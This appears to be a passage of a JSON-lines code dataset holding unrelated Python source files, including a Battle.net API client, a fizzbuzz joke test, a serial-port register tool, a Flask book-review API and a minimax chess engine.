10:\n continue\n normalized_realm = get_normalized_realm(\n character.get('realm'), region)\n character.update({\n 'normalized_realm': normalized_realm, 'region': region})\n r_characters.append(character)\n cache.set(\n key,\n r_characters,\n timeout=settings.BATTLENET_CACHE.get('player_characters'))\n except ValueError:\n continue\n characters += r_characters\n return sorted(characters, key=itemgetter('realm', 'name'))\n\n\n# CACHED\ndef get_player_battletag(user, update=False, keep_latest=False):\n if not hasattr(user, 'social_auth') or not user.social_auth.exists():\n return None, _('No social authentication attached')\n key = 'battlenet:battletag:%s' % user.pk\n battletag = cache.get(key)\n error = None\n if battletag is None or update:\n battletag = None\n r = _retry(\n 'https://eu.api.battle.net/account/user',\n params={'access_token': user.social_auth.first().access_token})\n try:\n if r.json().get('status') != 'nok':\n battletag = r.json().get('battletag', battletag)\n if r.json().get('error_description'):\n error = r.json().get('error_description')\n except ValueError:\n pass\n if battletag is None and keep_latest:\n return battletag, error\n cache.set(\n key, battletag, timeout=settings.BATTLENET_CACHE.get('battletag'))\n return battletag, error\n\n\ndef get_normalized_realm(realm, region=None):\n if region is None:\n regions = [r['slug'] for r in get_regions()]\n else:\n regions = [region]\n\n for region in regions:\n realms = get_realms(region)\n for r in realms:\n if realm.lower() == r['name'].lower():\n return r['slug']\n return False\n\n\ndef get_pretty_realm(realm, region=None):\n if region is None:\n regions = [r['slug'] for r in get_regions()]\n else:\n regions = [region]\n\n for region in regions:\n realms = get_realms(region)\n for r in realms:\n if realm == r['slug']:\n return r['name']\n return False\n\n\ndef get_guild_thumbnail(region, realm, guild):\n detail = get_guild(region, realm, guild)\n if detail.get('side') == 0:\n return settings.STATIC_URL + \"bountyomatic/img/alliance_guild.png\"\n return settings.STATIC_URL + \"bountyomatic/img/horde_guild.png\"\n\n\ndef get_character_thumbnail(region, realm, character):\n base_url = \"https://%s.battle.net/static-render/%s/\" % (region, region)\n if region == \"cn\":\n base_url = \"https://www.battlenet.com.cn/static-render/cn/\"\n detail = get_character(region, realm, character)\n if detail:\n return base_url + detail.get(\n 'thumbnail') + \"?alt=wow/static/images/2d/avatar/%s-%s.jpg\" % (\n detail.get('race'), detail.get('gender'))\n return get_character_thumbnail_fallback(region, realm, character)\n\n\ndef get_character_thumbnail_fallback(region, realm, character):\n detail = get_character(region, realm, character)\n if detail:\n return settings.STATIC_URL + \"bountyomatic/img/thumbnails/%s-%s.jpg\" % (\n detail.get('race'), detail.get('gender'))\n return settings.STATIC_URL + \"bountyomatic/img/thumbnails/1-0.jpg\"\n\n\ndef get_character_armory(region, realm, character):\n base_url = \"http://%s.battle.net/wow/%s/character/\" % (region, region)\n if region == \"cn\":\n base_url = \"http://www.battlenet.com.cn/wow/cn/character/\"\n return base_url + realm + \"/\" + character + \"/simple\"\n\n\ndef get_guild_armory(region, realm, guild):\n base_url = \"http://%s.battle.net/wow/%s/guild/\" % (region, region)\n if region == \"cn\":\n base_url = \"http://www.battlenet.com.cn/wow/cn/guild/\"\n return base_url + realm + \"/\" + guild + \"/\"\n\n\ndef is_token_valid(user):\n if not hasattr(user, 'social_auth') or not user.social_auth.exists():\n return False\n\n s = Session()\n params = {\n 'apikey': settings.SOCIAL_AUTH_BATTLENET_OAUTH2_KEY,\n 'access_token': user.social_auth.first().access_token}\n req = Request(\n 'GET',\n 'https://eu.api.battle.net/account/user',\n params=params)\n prepped = req.prepare()\n resp = s.send(prepped)\n logger.info(\"%s %s\" % (prepped.url, resp.status_code))\n if resp.status_code == 200:\n return True\n if resp.status_code == 401:\n return False\n return True\n","repo_name":"toxinu/bounty-o-matic","sub_path":"bountyomatic/battlenet/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":11001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20336303852","text":"from typing import Iterator\nimport random\nimport itertools\n\nfrom fizzbuzz.checks import check_output\n\n\ndef fizz_buzzes() -> Iterator[str]:\n counts = [itertools.count(1)] * 15\n for group in zip(*counts):\n random.seed(23_977_775)\n for n in group:\n # Just pick at random\n yield random.choice(\n ['fizzbuzz', 'fizz', str(n), 'buzz']\n )\n\nfb = fizz_buzzes()\noutput = [next(fb) for _ in range(100)]\n\n\ndef test_random_guessing():\n check_output(output)\n\n\nif __name__ == \"__main__\":\n test_random_guessing()","repo_name":"joelgrus/fizzbuzz","sub_path":"fizzbuzz/random_guessing.py","file_name":"random_guessing.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"32"} +{"seq_id":"25163248006","text":"\nimport psutil, time\nimport setproctitle\nfrom configparser import SectionProxy as _sp\n\n\nclass bot(object):\n\n PROC_NAME = \"\"\n\n def __init__(self, sec: _sp):\n self.sec_ini: _sp = sec\n bot.PROC_NAME = self.sec_ini[\"PROC_NAME\"]\n\n def clear_previous_prox(self):\n # -- -- -- --\n def __on_proc(pr: psutil.Process):\n try:\n if pr.name() == bot.PROC_NAME:\n print(f\"[ PreviousProcFound | PID: {pr.pid}\\n\\tkilling... ]\")\n pr.kill()\n except Exception as ex:\n print(ex)\n # -- -- -- --\n for ipr in psutil.process_iter():\n __on_proc(ipr)\n # -- -- -- --\n\n def set_process_name(self):\n print(f\"\\n\\n\\t[ SettingProcessNameTo: {bot.PROC_NAME} ]\\n\")\n setproctitle.setproctitle(bot.PROC_NAME)\n time.sleep(1.0)\n","repo_name":"ErikOwsiak/omms-edge","sub_path":"system/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32143509993","text":"import numpy as np\n\nsettings = {\"results_file_path\": \"\",\n \"bohr_magneton\": 5.7883818012 * 10 ** (-5),\n \"magnetic_field\": 0.,\n \"time_tc\": 0.,\n \"pulse_time\": 0,\n \"dg_factor\": 0,\n \"h_bar\": 4.135667696 * 10 ** (-15) / (2 * np.pi)}\n\nnumerical_settings = {\"number_of_iterations\": None,\n \"learning_rate\": None,\n \"learning_incrementation\": None,\n \"learning_decrementation\": None,\n \"error\": None,\n \"operator_error\": None,\n \"e_min\": None,\n \"e_max\": None,\n \"identities\": None\n }\n","repo_name":"prz3m37/RandomBenchmarking","sub_path":"BlochSolver/Utils/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74703631132","text":"#!/usr/bin/env python3\nimport sys\nfrom serial import Serial\n\ndef Usage():\n help_string = '''UartTerm project control ultility\nUsage: uterm -p PORT address [ data ]\n -p : target serial port, \"COMx\", \"/dev/ttySx\" or \"/dev/ttyACMx\"\n address : target address, hex string, like \"0x10000004\"\n data : optional, data for write to address, hex string\n do read from address if data not given.\nexample:\n ./uterm -p /dev/ttyS4 0x10000000\n - read from address 0x10000000\n ./uterm -p /dev/ttyS4 0x10000000 0x55\n - write 0x55 to address 0x10000000'''\n print(help_string)\n\ndef main():\n\n skip = 0\n port = \"\"\n address = \"\"\n data = \"\"\n i = 1\n for args in sys.argv[1:]:\n i += 1\n if skip == 1:\n skip = 0\n continue\n elif args == \"-p\":\n skip = 1\n port = sys.argv[i]\n elif address == \"\":\n address = args\n else:\n data = args\n\n if len(sys.argv) < 2 or port == \"\":\n Usage()\n sys.exit()\n\n try:\n p = Serial(port=port, baudrate=115200, timeout=0.1)\n p.flush()\n except:\n print(\"Serial open failed, check your settings!\")\n \n try:\n if data != \"\":\n cmd_w = \"0x0101{:08x}{:08x}\".format(int(address, 16), int(data, 16))\n cmd_w = int(cmd_w, 16).to_bytes(10, 'big')\n p.write(cmd_w)\n p.flush()\n else:\n p.readall()\n cmd_r = \"0x0201{:08x}\".format(int(address, 16))\n cmd_r = int(cmd_r, 16).to_bytes(6, 'big')\n p.write(cmd_r)\n\n dd = p.readall()\n\n print(*[\"{:02x}\".format(_) for _ in dd])\n except ValueError:\n print(\"Seems you given wrong address/data, check and try again!\")\n\n if p is not None:\n p.close()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"0xcdef/icsnano_nmigen","sub_path":"tools/uterm.py","file_name":"uterm.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43742574796","text":"from django.db import models\nfrom django.core.urlresolvers import reverse\n# Create your models here.\n\nclass Article(models.Model):\n title = models.CharField(max_length = 100) # the title of the blog\n category = models.CharField(max_length = 50, blank = True) # the main label of the blog\n tag = models.CharField(max_length = 50, blank = True) # the sub label of the blog\n date_time = models.DateTimeField(auto_now_add = True) # the publish time of the blog\n content = models.TextField(blank = True, null = True) # the content of the blog\n page_views = models.IntegerField(default = 0)\n\n def get_absolute_url(self):\n path = reverse('detail', kwargs={'id':self.id})\n return \"http://www.hutianyi.tech%s\" % path\n\n def __str__(self): #python3 use str\n return self.title\n\n class Meta: # be ordered by time\n ordering = ['-date_time']","repo_name":"hu-tianyi/Django","sub_path":"MyBlog/article/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5986297102","text":"\nimport errno\nimport time\nfrom tester import *\nfrom tester.commands import *\nfrom tester.write_output import *\n\ndef start_coap_client(to=1000, arf=1.1, ret=1, resource=DEF_RES):\n\n logger.debug(\"Start CoAP with Timeout={0}, ACK_RAND_FACTOR ={1}, RETRANSMISSION = {2}, N. GET: {3}\"\n .format(to, float(arf), ret, NUM_TEST))\n\n url = \"%s/%s\" % (COAP_SERVER, resource)\n params = 'java -jar ./tester/lib/m2m-coap-client-1.jar -r {0} -n {1} -t {2} -f {3} {4} '\\\n .format(ret, NUM_TEST, to, arf, url)\n os.system(params)\n logger.debug(params)\n time.sleep(1)\n\n\nif __name__ == '__main__':\n filename = \"demo.pcap\"\n launch_sniffer(filename, IFC, other_filter='')\n start_coap_client(to=1000, arf=1.5, ret=1, resource=\"res1024\")\n stop_sniffer()\n decode_json(filename)","repo_name":"lucasimone/coap-performance-tester","sub_path":"tester/tcpdump.py","file_name":"tcpdump.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33720412205","text":"from http import HTTPStatus\nfrom typing import Optional, List\n\nfrom pydantic.types import conint\n\nfrom app.events import on_application_shutdown, on_application_startup\nfrom app.helpers import NotFoundBook, insert_or_update_book, request_books, get_best_n_books\nfrom app.models import (BookModel, ErrorResponse, GetBooksResponse,\n ReviewModelInput)\nfrom fastapi import FastAPI\nfrom fastapi.responses import JSONResponse\nfrom pydantic import ValidationError\nfrom requests import HTTPError\n\napp = FastAPI()\n\napp.add_event_handler(\"startup\", on_application_startup)\napp.add_event_handler(\"shutdown\", on_application_shutdown)\n\nGUTENDEX_API = 'https://gutendex.com/books'\n\nresponses = {\n 404: {\n \"model\": ErrorResponse,\n \"description\": \"Item not found\"\n },\n 412: {\n \"model\": ErrorResponse,\n \"description\": \"Validation error\"\n },\n 500: {\n \"model\": ErrorResponse,\n \"description\": \"Unexpected error\"\n },\n}\n\n\n@app.get(\"/\")\ndef get_status():\n return {'status': 'ok'}\n\n@app.get(\"/books/\",\n response_model=GetBooksResponse,\n responses=responses,\n response_model_exclude_unset=True)\ndef get_books(book_id: Optional[int] = None,\n title: Optional[str] = None,\n page: Optional[int] = 1):\n try:\n return request_books(book_id=book_id, page=page, title=title)\n except NotFoundBook as not_found_error:\n return JSONResponse(status_code=HTTPStatus.NOT_FOUND,\n content={\"message\": str(not_found_error)})\n except HTTPError as error:\n return JSONResponse(status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n content={\"message\": str(error)})\n except ValidationError as error:\n return JSONResponse(status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n content={\"message\": str(error)})\n except Exception:\n return JSONResponse(status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n content={\"message\": \"Unexpected internal error\"})\n\n\n@app.post('/books/review', response_model=BookModel, responses=responses)\ndef post_review(review: ReviewModelInput):\n try:\n result: GetBooksResponse = request_books(review.book_id)\n book: BookModel = result.books[0]\n return insert_or_update_book(book, review)\n\n except NotFoundBook as not_found_error:\n return JSONResponse(status_code=HTTPStatus.NOT_FOUND,\n content={\"message\": str(not_found_error)})\n except HTTPError as error:\n return JSONResponse(status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n content={\"message\": str(error)})\n except ValidationError as error:\n return JSONResponse(status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n content={\"message\": str(error)})\n except Exception:\n return JSONResponse(status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n content={\"message\": \"Unexpected internal error\"})\n\n\n@app.get('/books/ranking', response_model=List[BookModel])\ndef get_best_books(top_books: conint(ge=1)):\n try:\n return get_best_n_books(top_books)\n except ValidationError as error:\n return JSONResponse(status_code=HTTPStatus.UNPROCESSABLE_ENTITY,\n content={\"message\": str(error)})\n except Exception:\n return JSONResponse(status_code=HTTPStatus.INTERNAL_SERVER_ERROR,\n content={\"message\": \"Unexpected internal error\"})\n","repo_name":"matheusads/gutendex_cleverti","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32639336354","text":"import os\n\nfrom flask import Flask, g\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager\n\n\n# init SQLAlchemy so we can use it later in our models\ndb = SQLAlchemy()\n\ndef create_app():\n app = Flask(__name__)\n\n app.config['SECRET_KEY'] = 'secret-key-goes-here-da-boo-dee-da-bo-daa'\n\n if 'DATABASE_URL' in os.environ:\n postgresql_url = os.environ['DATABASE_URL']\n else:\n postgresql_url = \"postgresql://{}:{}@localhost:5432/{}\".format(os.environ['POSTGRES_USERNAME'], os.environ['POSTGRES_PASSWORD'], os.environ['POSTGRES_DATABASE'])\n\n app.config['SQLALCHEMY_DATABASE_URI'] = postgresql_url\n\n # The webhook URL requests an Azure runbook to run\n # See: https://docs.microsoft.com/en-us/azure/automation/automation-webhooks#create-a-webhook\n if 'AZURE_MC_START_WEBHOOK_URL' not in os.environ:\n raise Exception(\"No webhook URL is set. Please set the 'AZURE_MC_START_WEBHOOK_URL' environment variable to the Azure webhook URL.\")\n\n if 'SERVER_IP_ADDRESS' not in os.environ:\n raise Exception(\"No server IP address is set. Please set the 'SERVER_IP_ADDRESS' environment variable.\")\n\n db.init_app(app)\n\n login_manager = LoginManager()\n login_manager.login_view = 'auth.login'\n login_manager.init_app(app)\n\n # Create tables that do not exist after importing the models\n from .models import Admin\n db.create_all(app=app)\n\n @login_manager.user_loader\n def load_user(user_id):\n # since the user_id is just the primary key of our user table, use it in the query for the user\n return Admin.query.get(int(user_id))\n\n # blueprint for auth routes in our app\n from .auth import auth as auth_blueprint\n app.register_blueprint(auth_blueprint)\n\n # blueprint for non-auth parts of app\n from .main import main as main_blueprint\n app.register_blueprint(main_blueprint)\n\n return app","repo_name":"josealeixopc/azure-vm-status-checker","sub_path":"azurestatuschecker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22345747208","text":"from typing import TYPE_CHECKING, Any\n\nif TYPE_CHECKING:\n from .accent import Accent\n\n__all__ = (\"ReplacementContext\",)\n\n\nclass ReplacementContext:\n \"\"\"\n Instance of this class is passed to every handler function as a part of Match.\n\n `id` is an arbitrary identificator of translation source. For example, user id.\n Passed value depends on implementation and might be not set at all (None).\n\n `state` can be used to store arbitrary accent state. Since every accent get their\n own instance of this context, accent is free to store any information there.\n\n `source` is original string passed to Accent.apply.\n \"\"\"\n\n __slots__ = (\n \"id\",\n \"state\",\n \"source\",\n \"accent\",\n )\n\n def __init__(self, id: Any, source: str, accent: \"Accent\"):\n self.id = id\n self.state: Any = None\n self.source = source\n self.accent = accent\n\n def __repr__(self) -> str:\n return f\"<{type(self).__name__} id={self.id} state={self.state}>\"\n","repo_name":"Fogapod/pink-accents","sub_path":"pink_accents/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"31179957552","text":"import chess\nimport chess.svg\nimport random\nimport matplotlib.pyplot as plt\nfrom minimax import *\nimport functools\n\nimport theorical_position_advantage as ENGINE_ADV_POSITION\nfrom LichessComparator import LichessComparator\n\npieceTypes = [\n 'PAWN',\n 'KNIGHT',\n 'BISHOP',\n 'ROOK',\n 'QUEEN',\n 'KING'\n]\n\nSCORETABLE_values = {\n 'PAWN': 1,\n 'KNIGHT': 3,\n 'BISHOP': 3,\n 'ROOK': 5,\n 'QUEEN': 10,\n 'KING': 9\n}\n\nFORMULA = {\n \"pieceValue\": 2,\n \"theorical_position\": 0.1,\n \"maxVictimValue\": 0.55,\n \"nbThreats\": 0.5,\n \"case_protected\": 0.1\n}\n\n\nclass Analyzer:\n\n def __init__(self,AI_color):\n \n if AI_color == 'black':\n self.AI_color = True\n self.AI_color_expl = 'black'\n self.AI_color_expl_op = 'white'\n else:\n self.AI_color = False\n self.AI_color_expl = 'white'\n self.AI_color_expl_op = 'black'\n \n\n self.__board = chess.Board()\n\n def getPlayingColor(self):\n if self.__board.turn:\n return self.AI_color_expl\n else:\n return self.AI_color_expl_op\n\n def setPlayingColor(self,color):\n # To be tested\n if color != self.AI_color_expl:\n self.__board.turn = True\n else:\n self.__board.turn = False\n\n\n def setFEN(self,fen):\n self.__board.set_fen(fen)\n\n def getFEN(self):\n return self.__board.fen()\n\n def getResult(self):\n res = str(self.__board.result())\n if self.isGameOver():\n res = res.split('-')\n if res[0] == '1/2':\n res[0] = 2\n res[1] = 2\n return {'white':float(res[0]), 'black': float(res[1])}\n else:\n return {'white':None, 'black': None}\n\n def isGameOver(self):\n return self.__board.is_game_over()\n\n def isCheckmate(self):\n return self.__board.is_checkmate()\n\n def saveBoard(self,s):\n boardsvg = chess.svg.board(board=self.__board)\n f = open(\"boards/board\"+str(s)+\".SVG\", \"w\")\n f.write(boardsvg)\n f.close()\n\n def drawBoard(self,s,isBigChange=False):\n print(self.__board.unicode())\n\n def getLegalMoves(self):\n return self.__board.legal_moves\n\n def move(self,m):\n self.__board.push(m)\n \n def back(self):\n self.__board.pop()\n\n @functools.lru_cache(10)\n def getPieceValueFromType(self,pieceType):\n pieceValue = SCORETABLE_values[pieceType]\n return pieceValue\n\n def generateMoveScore(self,moveData,pieceColor):\n \n pieceType = moveData[\"type\"]\n piecePosition = moveData[\"position\"]\n pieceAttacks = moveData[\"attacks\"]\n pieceAttackers = moveData[\"attackers\"]\n\n # This piece's value\n pieceValue = self.getPieceValueFromType(pieceType)\n \n # Possible attacks\n maximumVictimValue = 0\n if len(pieceAttacks) != 0:\n victimsValues = []\n for victim in pieceAttacks:\n victimType = self.__board.piece_type_at(victim)\n if victimType != None:\n victimsValues.append(self.getPieceValueFromType(pieceTypes[victimType-1]))\n\n if len(victimsValues) != 0:\n maximumVictimValue = sum(victimsValues)\n\n # Threats\n nbThreats = len(pieceAttackers)\n \"\"\"\n I should implement a way to verify if the case is protected and if the attackers are less valuable than this piece or not\n \"\"\"\n \n\n \n \"\"\"\n Piece Value\n Maximum Gain\n - number of threats\n \"\"\"\n\n formulaResult = + FORMULA[\"pieceValue\"] * pieceValue \\\n + FORMULA[\"theorical_position\"] * ENGINE_ADV_POSITION.raw(piecePosition, pieceType, pieceColor) \\\n + FORMULA[\"maxVictimValue\"] * maximumVictimValue \\\n - FORMULA[\"nbThreats\"] * nbThreats \\\n\n if pieceType == \"KING\":\n formulaResult -= pieceValue\n \n\n return formulaResult\n\n def getBoardDetails(self):\n boardData = {\n 'black': [],\n 'white': []\n }\n\n # Simulate both players\n self.setPlayingColor(self.AI_color_expl)\n legal_moves = list(self.getLegalMoves())\n\n self.setPlayingColor(self.AI_color_expl_op)\n legal_moves = legal_moves + list(self.getLegalMoves())\n\n\n\n legal_moves_starter = [m.uci()[0:2] for m in legal_moves]\n legal_moves_ender = [m.uci()[2:4] for m in legal_moves]\n\n for i in range(64):\n pieceType = self.__board.piece_type_at(i)\n pieceColor = self.__board.color_at(i)\n piecePosition = chess.square_name(i)\n\n if pieceColor != None:\n if pieceColor:\n pieceClass = self.AI_color_expl_op\n else:\n pieceClass = self.AI_color_expl\n \n possibleVictims = [a for a in list(self.__board.attacks(i)) if self.__board.piece_at(a) != None and self.__board.piece_at(a).color != pieceColor]\n possibleAttackers = [a for a in list(self.__board.attackers(pieceColor,chess.parse_square(piecePosition))) if self.__board.piece_at(a).color != pieceColor]\n\n boardData[pieceClass].append({\n 'type': pieceTypes[pieceType-1],\n 'position': piecePosition,\n 'attacks': possibleVictims,\n 'attackers': possibleAttackers\n })\n \n return boardData\n\n def reset(self):\n self.__board.reset()\n\ndef fillSize(lst,size):\n while len(lst) != size:\n lst.append(lst[0])\n \n return lst\n\ndef correctSize(lst,size):\n while len(lst) != size:\n lst.append(None)\n \n return lst\n\ndef oppositeColor(color):\n if color == 'black':\n return 'white'\n return 'black'\n\ndef getScoreFromSimulatedBoard(Analyzer,colorToPlay,AI_color,AI_OP_color):\n # Get board details\n moves = Analyzer.getBoardDetails()\n\n # Reset the playing color\n Analyzer.setPlayingColor(colorToPlay)\n\n # AI moves\n AI_Moves = moves[AI_color]\n AI_score = 0\n for moveIndex,moveData in enumerate(AI_Moves):\n AI_score += (Analyzer.generateMoveScore(moveData,AI_color))\n\n # AI-Opposite moves\n AI_OP_Moves = moves[AI_OP_color]\n AI_OP_score = 0\n for moveIndex,moveData in enumerate(AI_OP_Moves):\n AI_OP_score += (Analyzer.generateMoveScore(moveData,AI_OP_color))\n\n \n # AI advantage (/!\\)\n AI_Advantage = AI_OP_score - AI_score\n\n return AI_Advantage\n \n\nMEMORY_AI_Advantages_BIGTEST = []\n\nInitial_AI_color = 'white'\n\nAI_color = Initial_AI_color\nAI_OP_color = oppositeColor(AI_color)\n\nAnalyzer = Analyzer(AI_color)\n\nMEMORY_AIAdvantage = 0\n\nPARAM_CompareToLichess = False\nPARAM_ConsoleSteps = True\nPARAM_ConsoleBoard = False\nPARAM_ConsoleBigTest = False\nPARAM_ConsoleCalculations = True\nPARAM_ConsoleMoves = False\nPARAM_BigTest = False\nPARAM_BigTest_count = 100\nPARAM_LogTree = False\nPARAM_randomAI_OP_Moves = False\nPARAM_maxTurn = 200\nPARAM_ColorToPlay = 'black'\nPARAM_Depth = 2\nPARAM_Fast = False\nPARAM_SaveBoard = True\nTEMP_calculatedScenarios = 0\n\n\ndef generateScoreTree(Analyzer,_head,_color,_depth,debug=False):\n global TEMP_calculatedScenarios\n\n DebugState = False\n\n if _depth > 0:\n\n # Get the correct color\n\n Analyzer.setPlayingColor(_color)\n legalsMoves = list(Analyzer.getLegalMoves())\n simulatedColor = oppositeColor(_color)\n\n for move in legalsMoves:\n\n # Simulate move\n Analyzer.move(move)\n # Results\n res = Analyzer.getResult()\n specialTreatement = None\n if res[AI_color] == 1.0:\n specialTreatement = True\n elif res[AI_color] == 2.0:\n # never surrender\n specialTreatement = False\n elif res[AI_color] == 0.0:\n specialTreatement = False \n\n\n # Getting the score\n score = getScoreFromSimulatedBoard(Analyzer,simulatedColor,AI_color,AI_OP_color)\n TEMP_calculatedScenarios += 1\n if TEMP_calculatedScenarios % 10000 == 0 and PARAM_ConsoleCalculations:\n print('{} simulations...'.format(TEMP_calculatedScenarios))\n\n # Create node\n child = Sim(score,move,specialTreatement)\n \n generateScoreTree(Analyzer,child,simulatedColor,(_depth-1),DebugState)\n\n Analyzer.back()\n\n _head.addChild(child)\n\ndef minimax(_head,_color,_depth,maxDepth,alert=False): \n\n SpecialTreatement = _head.getSpecial()\n\n if _depth == maxDepth:\n # bottom elements\n\n # Detect gameover\n if SpecialTreatement == True:\n return ((maxDepth+1)-_depth)*1000\n elif SpecialTreatement == False:\n return float('-inf')\n else:\n bottomScore = _head.getData()\n if PARAM_Fast:\n if bottomScore-3 > AI:\n pass\n return _head.getData()\n else:\n\n # Detect gameover\n if SpecialTreatement == True:\n return ((maxDepth+1)-_depth)*1000\n elif SpecialTreatement == False:\n return float('-inf')\n else:\n\n advantages = []\n childs = _head.getChilds()\n for child in childs:\n temp_minimax = minimax(child,oppositeColor(_color),(_depth+1),maxDepth) \n advantages.append(temp_minimax)\n\n # /!\\ To test\n if len(advantages) == 0:\n return float('inf')\n\n if _color != AI_color:\n # Highest score\n max_advantage = max(advantages)\n toTransferIndex = advantages.index(max_advantage)\n else:\n # Lowest score\n min_advantage = min(advantages)\n toTransferIndex = advantages.index(min_advantage)\n\n if _depth == 0:\n return childs[toTransferIndex].getMove()\n else:\n return advantages[toTransferIndex]\n\n\n\n\n\n\ndef Simulation():\n\n global AI_color\n global AI_OP_color\n\n MEMORY_AI_Advantages = []\n MEMORY_Lichess_Advantages = []\n\n colorToPlay = PARAM_ColorToPlay\n\n s = 1\n nb_moves = PARAM_maxTurn\n\n\n # Start the lichess comparator\n if PARAM_CompareToLichess:\n instance = LichessComparator(AI_color,True)\n isConnected = instance.connectToLichess()\n print('Lichess Comparator connection: {}'.format(isConnected))\n\n # Reset Board\n Analyzer.reset()\n\n # Test FEN\n Analyzer.setFEN('rnbqkb1r/ppp1pppp/5n2/3p4/3P1B2/5N2/PPP1PPPP/RN1QKB1R b KQkq - 0 1')\n\n\n # First board\n if PARAM_SaveBoard:\n Analyzer.saveBoard(0)\n\n\n while not Analyzer.isGameOver() and s <= nb_moves:\n \n # Actual board configuration score generator\n AI_Advantage = getScoreFromSimulatedBoard(Analyzer,colorToPlay,AI_color,AI_OP_color)\n\n ## Graph data collector\n if Initial_AI_color == 'black':\n if AI_color == 'black':\n MEMORY_AI_Advantages.append(-AI_Advantage)\n else:\n MEMORY_AI_Advantages.append(AI_Advantage)\n else:\n if AI_color == 'black':\n MEMORY_AI_Advantages.append(AI_Advantage)\n else:\n MEMORY_AI_Advantages.append(-AI_Advantage)\n\n # Lichess score comparator\n actualFEN = Analyzer.getFEN()\n if PARAM_CompareToLichess:\n lichessScore = instance.getScore(actualFEN)\n MEMORY_Lichess_Advantages.append(lichessScore)\n\n\n # Use minimax to select a move (or random if not AI)\n if colorToPlay == AI_color:\n ActualPosition = Sim(AI_Advantage,None,None)\n ActualPosition.clearChilds()\n\n _head = ActualPosition\n _color = colorToPlay\n\n # Reset minimax stats\n TEMP_calculatedScenarios = 0\n\n \n # generate Tree\n generateScoreTree(Analyzer,_head,_color,PARAM_Depth)\n # order first line of the tree\n _head.orderChilds()\n\n #print('Tree done !')\n \n # Log tree (advanced debugging)\n if PARAM_LogTree:\n temp = _head.showTree(0)\n f = open(\"tree.debug\", \"a\")\n f.write(temp)\n f.close()\n i = str(input('ENTER TO LOG ANOTHER TREE'))\n\n # search the best path\n bestMove = minimax(_head,_color,0,PARAM_Depth)\n\n \n if PARAM_ConsoleMoves:\n print(bestMove)\n\n Analyzer.move(bestMove)\n if PARAM_SaveBoard:\n Analyzer.saveBoard(s)\n \n else:\n \n if PARAM_randomAI_OP_Moves:\n # Select a random move\n next_move = random.choice(list(Analyzer.getLegalMoves()))\n Analyzer.move(next_move)\n else:\n # Let user choose move\n legalsMoves = list(Analyzer.getLegalMoves())\n\n for i,move in enumerate(legalsMoves):\n print(str(i)+' : '+str(move))\n\n goodInp = False\n while not goodInp:\n try:\n wait = int(input())\n if wait <= (len(legalsMoves)-1):\n userMove = legalsMoves[wait]\n goodInp = True\n except:\n goodInp = False\n \n Analyzer.move(userMove)\n\n if PARAM_SaveBoard:\n Analyzer.saveBoard(s)\n\n\n if colorToPlay == AI_color:\n colorToPlay = AI_OP_color\n else:\n colorToPlay = AI_color\n\n\n if PARAM_ConsoleBoard:\n Analyzer.drawBoard(s)\n if PARAM_ConsoleSteps:\n print('{}: {}'.format(s,AI_Advantage))\n\n if PARAM_ConsoleBoard or PARAM_ConsoleSteps:\n #print('')\n pass\n\n\n s+=1\n\n return [MEMORY_AI_Advantages,MEMORY_Lichess_Advantages]\n\n\nx = [i for i in range(PARAM_maxTurn)]\n\nif PARAM_BigTest:\n i = 1\n endPoints = []\n while i <= PARAM_BigTest_count:\n tempRes = Simulation()[0]\n endPoint = tempRes[len(tempRes)-1]\n endPoints.append(endPoint)\n\n plt.plot(x, correctSize(tempRes,PARAM_maxTurn), color='black', alpha=0.2)\n if PARAM_ConsoleBigTest:\n print('{}/{}'.format(i,PARAM_BigTest_count))\n i += 1\n \n averageEndpoint = sum(endPoints) / len(endPoints)\n print(averageEndpoint)\n \n plt.plot(x, fillSize([averageEndpoint],PARAM_maxTurn), color='green', alpha=0.4)\n plt.plot(x, fillSize([0],PARAM_maxTurn), color='red', alpha=0.4)\n\nelse:\n plt.plot(x, correctSize(Simulation()[0],PARAM_maxTurn), color='red')\n\n\n\nif PARAM_CompareToLichess:\n plt.plot(x, MEMORY_Lichess_Advantages, color='green')\n\nplt.ylabel('AI Advantage per turn ('+Initial_AI_color+')')\nprint(TEMP_calculatedScenarios)\nplt.show()","repo_name":"on-victorrijks/ChessAI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73773178331","text":"def check_zero(a,b):\n sum_check=a+b\n str_a,str_b,str_sum=str(a),str(b),str(sum_check)\n if (int(str_a.replace(\"0\",\"\"))+int(str_b.replace(\"0\",\"\")))==int(str_sum.replace(\"0\",\"\")):\n 